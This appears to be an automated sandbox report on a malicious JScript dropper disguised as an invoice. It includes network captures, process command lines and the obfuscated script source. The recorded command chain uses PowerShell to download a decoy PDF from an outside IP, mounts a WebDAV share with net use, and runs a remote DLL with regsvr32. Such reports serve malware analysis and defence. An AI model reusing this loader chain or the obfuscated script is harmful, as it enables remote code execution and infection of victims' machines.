obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 13, 2025 12:47:04.407143116 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 13, 2025 12:47:04.407152891 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 13, 2025 12:47:04.407164097 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 13, 2025 12:47:04.407175064 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 13, 2025 12:47:04.407185078 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 13, 2025 12:47:04.407196045 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 13, 2025 12:47:04.407207966 CET	1000	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 13, 2025 12:47:04.407227039 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:
Jan 13, 2025 12:47:04.407238960 CET	272	IN	Data Raw: c3 91 55 fd 7e f3 23 ab 7a 46 5b 5f 92 e4 3f 73 63 a9 39 af 53 8a e4 e8 60 a6 bc 8e 42 cf 66 86 3d 34 dc 78 5c 18 f2 1d 5d 10 ad ef b4 e6 66 9b db 53 2d 3d 94 e1 50 00 db b7 62 2e c1 8e ca 1e 18 1a c5 d0 bb 61 0c bd bc ec 0f 0c 4d 31 f4 e8 f6 f8 Data Ascii: U~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%
Jan 13, 2025 12:47:04.470208883 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	2496	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 12:47:06.000338078 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 13, 2025 12:47:06.789663076 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 11:47:06 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	06:47:00
Start date:	13/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4208093227073.js"
Imagebase:	0x7ff71d8e0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	06:47:00
Start date:	13/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8805713813184.dll
Imagebase:	0x7ff75a0c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:47:00
Start date:	13/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:47:00
Start date:	13/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:47:05
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	06:47:05
Start date:	13/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff75a0c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	06:47:05
Start date:	13/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6812d0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	06:47:05
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	06:47:06
Start date:	13/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	06:47:06
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1740,i,3665999997121798375,9251294079657549249,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function bjlxbtr() {	bjlxbtr() ➔ undefined
1	this[zzcwiqyf + wylyapa + hgysx + lanpspy] ( "pwjli=[1031,3079,5127,4103,2055,3072];var jcvjhjh=this[igazsv+hgysx+zrvyg+nuwizjo+zzcwiqyf+kguzhdadq+wfzqoz+jceysrs](this[qefcpy+hqivfp+wnylweqwl+zrvyg+ohdbt+igazsv+jceysrs][uqforqf+zrvyg+zzcwiqyf+hgysx+jceysrs+zzcwiqyf+tklffpf+qjjhaqza+qzdatlq+zzcwiqyf+wnylweqwl+jceysrs](qefcpy+hqivfp+wnylweqwl+zrvyg+ohdbt+igazsv+jceysrs+ihqjgk+hqivfp+mzfju+zzcwiqyf+lanpspy+lanpspy)[sxphfffr+zzcwiqyf+fpvcjrmj+sxphfffr+zzcwiqyf+hgysx+cvjcrtoe](xyrwe+wooqznl+abdmbl+wtjxxkecb+qntxcmt+uqforqf+ryqxzwmh+sxphfffr+sxphfffr+abdmbl+exyeffw+ryrhlwn+qntxcmt+ryqxzwmh+hqivfp+abdmbl+sxphfffr+wnlvzjvj+uqforqf+fiuwrljy+wfzqoz+jceysrs+zrvyg+fiuwrljy+lanpspy+omzqlpyev+gstjoe+hgysx+wfzqoz+zzcwiqyf+lanpspy+wnlvzjvj+kguzhdadq+wfzqoz+jceysrs+zzcwiqyf+zrvyg+wfzqoz+hgysx+jceysrs+ohdbt+fiuwrljy+wfzqoz+hgysx+lanpspy+wnlvzjvj+txqdc+fiuwrljy+wnylweqwl+hgysx+lanpspy+zzcwiqyf),16);for(xdvnawlfg=0;xdvnawlfg<pwjli[lanpspy+zzcwiqyf+wfzqoz+fpvcjrmj+jceysrs+mzfju];++xdvnawlfg){if(jcvjhjh==pwjli[xdvnawlfg]){jcvjhjh=true;break;}}if(jcvjhjh!==true)this[qefcpy+hqivfp+wnylweqwl+zrvyg+ohdbt+igazsv+jceysrs][wwjho+zzghbk+ohdbt+jceysrs]();this[qefcpy+hqivfp+wnylweqwl+zrvyg+ohdbt+igazsv+jceysrs][uqforqf+zrvyg+zzcwiqyf+hgysx+jceysrs+zzcwiqyf+tklffpf+qjjhaqza+qzdatlq+zzcwiqyf+wnylweqwl+jceysrs](qefcpy+hqivfp+wnylweqwl+zrvyg+ohdbt+igazsv+jceysrs+ihqjgk+hqivfp+mzfju+zzcwiqyf+lanpspy+lanpspy)[zrvyg+zzghbk+wfzqoz](wnylweqwl+lzmcgmwuu+cvjcrtoe+omzqlpyev+qismsn+wnylweqwl+omzqlpyev+igazsv+fiuwrljy+adaoehwcf+zzcwiqyf+zrvyg+nuwizjo+mzfju+zzcwiqyf+lanpspy+lanpspy+ihqjgk+zzcwiqyf+scfoc+zzcwiqyf+omzqlpyev+jjyakeupj+uqforqf+fiuwrljy+lzmcgmwuu+lzmcgmwuu+hgysx+wfzqoz+cvjcrtoe+omzqlpyev+wfgzwve+kguzhdadq+wfzqoz+wylyapa+fiuwrljy+mxmacqwb+zzcwiqyf+jjyakeupj+qefcpy+zzcwiqyf+qjjhaqza+sxphfffr+zzcwiqyf+alvsskkwp+zzghbk+zzcwiqyf+nuwizjo+jceysrs+omzqlpyev+jjyakeupj+tklffpf+zzghbk+jceysrs+uxhnmiai+ohdbt+lanpspy+zzcwiqyf+omzqlpyev+sjyta+jceysrs+zzcwiqyf+lzmcgmwuu+igazsv+sjyta+wnlvzjvj+ohdbt+wfzqoz+wylyapa+fiuwrljy+ohdbt+wnylweqwl+zzcwiqyf+ihqjgk+igazsv+cvjcrtoe+yepsbm+omzqlpyev+mzfju+jceysrs+jceysrs+igazsv+ajkjnsobo+qismsn+qismsn+dtkaa+kwzouen+phmfgqieq+ihqjgk+dtkaa+vevaqpn+phmfgqieq+ihqjgk+dtkaa+ihqjgk+tmsmqtkgr+skrkepup+ypvsidjc+qismsn+ohdbt+wfzqoz+wylyapa+fiuwrljy+ohdbt+wnylweqwl+zzcwiqyf+ihqjgk+igazsv+mzfju+igazsv+wfgzwve+yokypeunv+yokypeunv+nuwizjo+jceysrs+hgysx+zrvyg+jceysrs+omzqlpyev+sjyta+jceysrs+zzcwiqyf+lzmcgmwuu+igazsv+sjyta+wnlvzjvj+ohdbt+wfzqoz+wylyapa+fiuwrljy+ohdbt+wnylweqwl+zzcwiqyf+ihqjgk+igazsv+cvjcrtoe+yepsbm+yokypeunv+yokypeunv+wnylweqwl+lzmcgmwuu+cvjcrtoe+omzqlpyev+qismsn+wnylweqwl+omzqlpyev+wfzqoz+zzcwiqyf+jceysrs+omzqlpyev+zzghbk+nuwizjo+zzcwiqyf+omzqlpyev+wnlvzjvj+wnlvzjvj+dtkaa+kwzouen+phmfgqieq+ihqjgk+dtkaa+vevaqpn+phmfgqieq+ihqjgk+dtkaa+ihqjgk+tmsmqtkgr+skrkepup+ypvsidjc+jlzlm+fehplza+fehplza+fehplza+fehplza+wnlvzjvj+cvjcrtoe+hgysx+wylyapa+adaoehwcf+adaoehwcf+adaoehwcf+zrvyg+fiuwrljy+fiuwrljy+jceysrs+wnlvzjvj+yokypeunv+yokypeunv+wnylweqwl+lzmcgmwuu+cvjcrtoe+omzqlpyev+qismsn+wnylweqwl+omzqlpyev+zrvyg+zzcwiqyf+fpvcjrmj+nuwizjo+wylyapa+zrvyg+phmfgqieq+tmsmqtkgr+omzqlpyev+qismsn+nuwizjo+omzqlpyev+wnlvzjvj+wnlvzjvj+dtkaa+kwzouen+phmfgqieq+ihqjgk+dtkaa+vevaqpn+phmfgqieq+ihqjgk+dtkaa+ihqjgk+tmsmqtkgr+skrkepup+ypvsidjc+jlzlm+fehplza+fehplza+fehplza+fehplza+wnlvzjvj+cvjcrtoe+hgysx+wylyapa+adaoehwcf+adaoehwcf+adaoehwcf+zrvyg+fiuwrljy+fiuwrljy+jceysrs+wnlvzjvj+fehplza+fehplza+skrkepup+ypvsidjc+owklrsd+dtkaa+phmfgqieq+fehplza+dtkaa+phmfgqieq+dtkaa+fehplza+vevaqpn+ihqjgk+cvjcrtoe+lanpspy+lanpspy,0,false);" );	eval("pwjli=[1031,3079,5127,4103,2055,3072];var jcvjhjh=this[igazsv+hgysx+zrvyg+nuwizjo+zzcwiqyf+kguzhdadq+wfzqoz+jceysrs](this[qefcpy+hqivfp+wnylweqwl+zrvyg+ohdbt+igazsv+jceysrs][uqforqf+zrvyg+zzcwiqyf+hgysx+jceysrs+zzcwiqyf+tklffpf+qjjhaqza+qzdatlq+zzcwiqyf+wnylweqwl+jceysrs](qefcpy+hqivfp+wnylweqwl+zrvyg+ohdbt+igazsv+jceysrs+ihqjgk+hqivfp+mzfju+zzcwiqyf+lanpspy+lanpspy)[sxphfffr+zzcwiqyf+fpvcjrmj+sxphfffr+zzcwiqyf+hgysx+cvjcrtoe](xyrwe+wooqznl+abdmbl+wtjxxkecb+qntxcmt+uqforqf+ryqxzwmh+sxphfffr+sxphfffr+abdmbl+exyeffw+ryrhlwn+qntxcmt+ryqxzwmh+hqivfp+abdmbl+sxphfffr+wnlvzjvj+uqforqf+fiuwrljy+wfzqoz+jceysrs+zrvyg+fiuwrljy+lanpspy+omzqlpyev+gstjoe+hgysx+wfzqoz+zzcwiqyf+lanpspy+wnlvzjvj+kguzhdadq+wfzqoz+jceysrs+zzcwiqyf+zrvyg+wfzqoz+hgysx+jceysrs+ohdbt+fiuwrljy+wfzqoz+hgysx+lanpspy+wnlvzjvj+txqdc+fiuwrljy+wnylweqwl+hgysx+lanpspy+zzcwiqyf),16);for(xdvnawlfg=0;xdvnawlfg<pwjli[lanpspy+zzcwiqyf+wfzqoz+fpvcjrmj+jceysrs+mzfju];++xdvnawlfg){if(jcvjhjh==pwjli[xdvnawlfg]){jcvjhjh=true;break;}}if(jcvjhjh!==true)this[qefcpy+hqivfp+wnylweqwl+zrvyg+ohdbt+igazsv+jceysrs][wwjho+zzghbk+ohdbt+jceysrs]();this[qefcpy+hqivfp+wnylweqwl+zrvyg+ohdbt+igazsv+jceysrs][uqforqf+zrvyg+zzcwiqyf+hgysx+jceysrs+zzcwiqyf+tklffpf+qjjhaqza+qzdatlq+zzcwiqyf+wnylweqwl+jceysrs](qefcpy+hqivfp+wnylweqwl+zrvyg+ohdbt+igazsv+jceysrs+ihqjgk+hqivfp+mzfju+zzcwiqyf+lanpspy+lanpspy)[zrvyg+zzghbk+wfzqoz](wnylweqwl+lzmcgmwuu+cvjcrtoe+omzqlpyev+qismsn+wnylweqwl+omzqlpyev+igazsv+fiuwrljy+adaoehwcf+zzcwiqyf+zrvyg+nuwizjo+mzfju+zzcwiqyf+lanpspy+lanpspy+ihqjgk+zzcwiqyf+scfoc+zzcwiqyf+omzqlpyev+jjyakeupj+uqforqf+fiuwrljy+lzmcgmwuu+lzmcgmwuu+hgysx+wfzqoz+cvjcrtoe+omzqlpyev+wfgzwve+kguzhdadq+wfzqoz+wylyapa+fiuwrljy+mxmacqwb+zzcwiqyf+jjyakeupj+qefcpy+zzcwiqyf+qjjhaqza+sxphfffr+zzcwiqyf+alvsskkwp+zzghbk+zzcwiqyf+nuwizjo+jceysrs+omzqlpyev+jjyakeupj+tklffpf+zzghbk+jceysrs+uxhnmiai+ohdbt+lanpspy+zzcwiqyf+omzqlpyev+sjyta+jceysrs+zzcwiqyf+lzmcgmwuu+igazsv+sjyta+wnlvzjvj+ohdbt+wfzqoz+wylyapa+fiuwrljy+ohdbt+wnylweqwl+zzcwiqyf+ihqjgk+igazsv+cvjcrtoe+yepsbm+omzqlpyev+mzfju+jceysrs+jceysrs+igazsv+ajkjnsobo+qismsn+qismsn+dtkaa+kwzouen+phmfgqieq+ihqjgk+dtkaa+vevaqpn+phmfgqieq+ihqjgk+dtkaa+ihqjgk+tmsmqtkgr+skrkepup+ypvsidjc+qismsn+ohdbt+wfzqoz+wylyapa+fiuwrljy+ohdbt+wnylweqwl+zzcwiqyf+ihqjgk+igazsv+mzfju+igazsv+wfgzwve+yokypeunv+yokypeunv+nuwizjo+jceysrs+hgysx+zrvyg+jceysrs+omzqlpyev+sjyta+jceysrs+zzcwiqyf+lzmcgmwuu+igazsv+sjyta+wnlvzjvj+ohdbt+wfzqoz+wylyapa+fiuwrljy+ohdbt+wnylweqwl+zzcwiqyf+ihqjgk+igazsv+cvjcrtoe+yepsbm+yokypeunv+yokypeunv+wnylweqwl+lzmcgmwuu+cvjcrtoe+omzqlpyev+qismsn+wnylweqwl+omzqlpyev+wfzqoz+zzcwiqyf+jceysrs+omzqlpyev+zzghbk+nuwizjo+zzcwiqyf+omzqlpyev+wnlvzjvj+wnlvzjvj+dtkaa+kwzouen+phmfgqieq+ihqjgk+dtkaa+vevaqpn+phmfgqieq+ihqjgk+dtkaa+ihqjgk+tmsmqtkgr+skrkepup+ypvsidjc+jlzlm+fehplza+fehplza+fehplza+fehplza+wnlvzjvj+cvjcrtoe+hgysx+wylyapa+adaoehwcf+adaoehwcf+adaoehwcf+zrvyg+fiuwrljy+fiuwrljy+jceysrs+wnlvzjvj+yokypeunv+yokypeunv+wnylweqwl+lzmcgmwuu+cvjcrtoe+omzqlpyev+qismsn+wnylweqwl+omzqlpyev+zrvyg+zzcwiqyf+fpvcjrmj+nuwizjo+wylyapa+zrvyg+phmfgqieq+tmsmqtkgr+omzqlpyev+qismsn+nuwizjo+omzqlpyev+wnlvzjvj+wnlvzjvj+dtkaa+kwzouen+phmfgqieq+ihqjgk+dtkaa+vevaqpn+phmfgqieq+ihqjgk+dtkaa+ihqjgk+tmsmqtkgr+skrkepup+ypvsidjc+jlzlm+fehplza+fehplza+fehplza+fehplza+wnlvzjvj+cvjcrtoe+hgysx+wylyapa+adaoehwcf+adaoehwcf+adaoehwcf+zrvyg+fiuwrljy+fiuwrljy+jceysrs+wnlvzjvj+fehplza+fehplza+skrkepup+ypvsidjc+owklrsd+dtkaa+phmfgqieq+fehplza+dtkaa+phmfgqieq+dtkaa+fehplza+vevaqpn+ihqjgk+cvjcrtoe+lanpspy+lanpspy,0,false);") ➔ 0
2	}
3	fehplza = "F";
4	fehplza = "s";
5	fehplza = "X";
6	fehplza = "i";
7	fehplza = "x";
8	fehplza = "O";
9	fehplza = "r";
10	fehplza = "8";
11	lanpspy = "W";
12	lanpspy = "L";
13	lanpspy = "d";
14	lanpspy = "y";
15	lanpspy = "Q";
16	lanpspy = "l";
17	hqivfp = "R";
18	hqivfp = "f";
19	hqivfp = "G";
20	hqivfp = "x";
21	hqivfp = "c";
22	hqivfp = "B";
23	hqivfp = "K";
24	hqivfp = "S";
25	yokypeunv = "F";
26	yokypeunv = "T";
27	yokypeunv = "k";
28	yokypeunv = "K";
29	yokypeunv = "W";
30	yokypeunv = "X";
31	yokypeunv = "G";
32	yokypeunv = "e";
33	yokypeunv = "&";
34	jjyakeupj = "W";
35	jjyakeupj = "A";
36	jjyakeupj = "p";
37	jjyakeupj = "c";
38	jjyakeupj = "K";
39	jjyakeupj = "x";
40	jjyakeupj = "y";
41	jjyakeupj = "e";
42	jjyakeupj = "x";
43	jjyakeupj = "-";
44	owklrsd = "h";
45	owklrsd = "l";
46	owklrsd = "k";
47	owklrsd = "q";
48	owklrsd = "D";
49	owklrsd = "m";
50	owklrsd = "q";
51	owklrsd = "X";
52	owklrsd = "7";
53	fpvcjrmj = "S";
54	fpvcjrmj = "y";
55	fpvcjrmj = "e";
56	fpvcjrmj = "J";
57	fpvcjrmj = "P";
58	fpvcjrmj = "W";
59	fpvcjrmj = "h";
60	fpvcjrmj = "p";
61	fpvcjrmj = "l";
62	fpvcjrmj = "g";
63	tklffpf = "Y";
64	tklffpf = "J";
65	tklffpf = "K";
66	tklffpf = "c";
67	tklffpf = "J";
68	tklffpf = "N";
69	tklffpf = "I";
70	tklffpf = "f";
71	tklffpf = "O";
72	vevaqpn = "f";
73	vevaqpn = "n";
74	vevaqpn = "A";
75	vevaqpn = "o";
76	vevaqpn = "o";
77	vevaqpn = "r";
78	vevaqpn = "P";
79	vevaqpn = "t";
80	vevaqpn = "4";
81	zrvyg = "r";
82	zrvyg = "N";
83	zrvyg = "S";
84	zrvyg = "e";
85	zrvyg = "H";
86	zrvyg = "r";
87	skrkepup = "n";
88	skrkepup = "Y";
89	skrkepup = "V";
90	skrkepup = "w";
91	skrkepup = "c";
92	skrkepup = "h";
93	skrkepup = "D";
94	skrkepup = "w";
95	skrkepup = "E";
96	skrkepup = "0";
97	kwzouen = "K";
98	kwzouen = "w";
99	kwzouen = "f";
100	kwzouen = "t";
101	kwzouen = "N";
102	kwzouen = "Q";
103	kwzouen = "n";
104	kwzouen = "I";
105	kwzouen = "T";
106	kwzouen = "9";
107	ihqjgk = "n";
108	ihqjgk = "R";
109	ihqjgk = "j";
110	ihqjgk = "V";
111	ihqjgk = "D";
112	ihqjgk = ".";
113	mxmacqwb = "A";
114	mxmacqwb = "g";
115	mxmacqwb = "n";
116	mxmacqwb = "E";
117	mxmacqwb = "c";
118	mxmacqwb = "J";
119	mxmacqwb = "V";
120	mxmacqwb = "A";
121	mxmacqwb = "T";
122	mxmacqwb = "k";
123	wnylweqwl = "L";
124	wnylweqwl = "n";
125	wnylweqwl = "i";
126	wnylweqwl = "A";
127	wnylweqwl = "M";
128	wnylweqwl = "c";
129	lzmcgmwuu = "D";
130	lzmcgmwuu = "w";
131	lzmcgmwuu = "l";
132	lzmcgmwuu = "m";
133	lzmcgmwuu = "i";
134	lzmcgmwuu = "q";
135	lzmcgmwuu = "m";
136	qzdatlq = "k";
137	qzdatlq = "X";
138	qzdatlq = "k";
139	qzdatlq = "T";
140	qzdatlq = "l";
141	qzdatlq = "E";
142	qzdatlq = "j";
143	alvsskkwp = "X";
144	alvsskkwp = "f";
145	alvsskkwp = "T";
146	alvsskkwp = "b";
147	alvsskkwp = "Z";
148	alvsskkwp = "q";
149	fiuwrljy = "m";
150	fiuwrljy = "Y";
151	fiuwrljy = "L";
152	fiuwrljy = "D";
153	fiuwrljy = "d";
154	fiuwrljy = "Z";
155	fiuwrljy = "k";
156	fiuwrljy = "s";
157	fiuwrljy = "o";
158	txqdc = "u";
159	txqdc = "o";
160	txqdc = "f";
161	txqdc = "D";
162	txqdc = "v";
